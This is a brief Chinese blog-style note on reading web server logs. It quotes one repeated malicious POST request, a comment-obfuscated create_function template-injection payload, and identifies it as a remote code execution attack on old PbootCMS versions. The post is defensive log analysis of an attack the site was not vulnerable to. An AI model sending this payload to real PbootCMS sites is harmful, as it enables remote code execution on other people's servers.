從 Web Log 學習系統漏洞 101

Weblog中出現大量的相同連線:

103.62.49.170 - - [21/Oct/2026:12:49:32 +0800] "POST /?tag/index&tag={pbohome/Indexot:if(1)(usort/*%3e*/(post/*%3e*/(/*%3e*/1),create_function/*%3e*/(/*%3e*/post/*%3e*/(/*%3e*/2),post/*%3e*/(/*%3e*/3))));//)}(123){/pbhome/Indexoot:if}&tagstpl=news.html&lnoc2tspfar1_ue HTTP/1.1" 404 534 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36"

103.62.49.170 來自日本東京

其他相同內容連線的 IP來自中國

經查詢後得知這是一個針對 PbootCMS網站內容管理系統的遠端程式碼執行攻擊(RCE), 舊版 PbootCMS存在透過 create_function觸發的命令注入漏洞, 不過我並沒有使用 PbootCMS